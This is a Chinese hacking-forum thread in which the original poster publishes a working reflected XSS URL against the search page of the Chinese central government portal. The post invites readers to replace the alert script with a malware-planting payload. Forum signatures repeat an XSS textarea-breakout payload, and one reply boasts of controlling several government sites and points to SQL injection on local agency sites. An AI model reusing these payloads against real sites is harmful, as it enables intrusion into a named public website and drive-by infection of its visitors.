打印

[原创] 中华人民共和国中央人民政府门户网站,的XSS出的真没水准.

中华人民共和国中央人民政府门户网站,的XSS出的真没水准.

直到今天我终于明白为什么中国站点的XSS这么多.原来是有 中华人民共和国中央人民政府门户网站 这样的大站作带头人啊!郁闷
XSS测试代码:
http://sousuo.gov.cn/topsortsearch?searchword=SEARCHVALUE%3D%24%5E%7E123%24%5E%7E&prepage=10&keyword="><script>alert('XSS')</script><"&channelid=3001&submit=%E6%90%9C%E7%B4%A2
挂马的话自己替换掉<script>alert('XSS')</script> 就行.谢谢
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

我不想说什么,只是有些 无言
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]
汗!
           入侵·破解·Linux
·非技术性话题不要跟我讨论!
·百度上已有的问题不要问我!
·莫问世间冷暖,心中自由无数乾坤倒转!
·我就像黑夜里的一只飞蛾,明知前方是火,却仍义无反顾……
·路过的到我小窝里面歇歇吧……

TOP

呵呵,强人!
这XSS出的shi ~
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

政府网站,不能明目张胆的加分了,强悍~~·
嘿嘿,我的一个朋友因为入侵政府站点今天被请去喝茶了,至今下落不明。
楼主小心啊~~~

TOP

政府网站也是普通网站,没什么区别。我现在就有好几个政府的网站。也没能找到敏感信息呀!
因为这个XSS适合大家初学XSS基础的朋友学习,我就发了~我还是第一回能一晚上发现4个XSS呢。XSS的利用还不大会,多少感觉学着很难啊~高级XSS我看过,就是靠看代码挖的~我呢大多是看IE地址来找下手的地方。不过说起来,我们这的*局站点SQL注入一大堆,垃圾的打紧啊。SQL在中国还得再火5   6年吧~做事不认真是很多人出问题的原因吧。
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

额,汗
绚烂之极归于平淡
万法自然,唯快不破
物极必转,黑的极至是为白
夜,尤其注重你的身体

Processed in 0.055330 second(s), 5 queries, Gzip enabled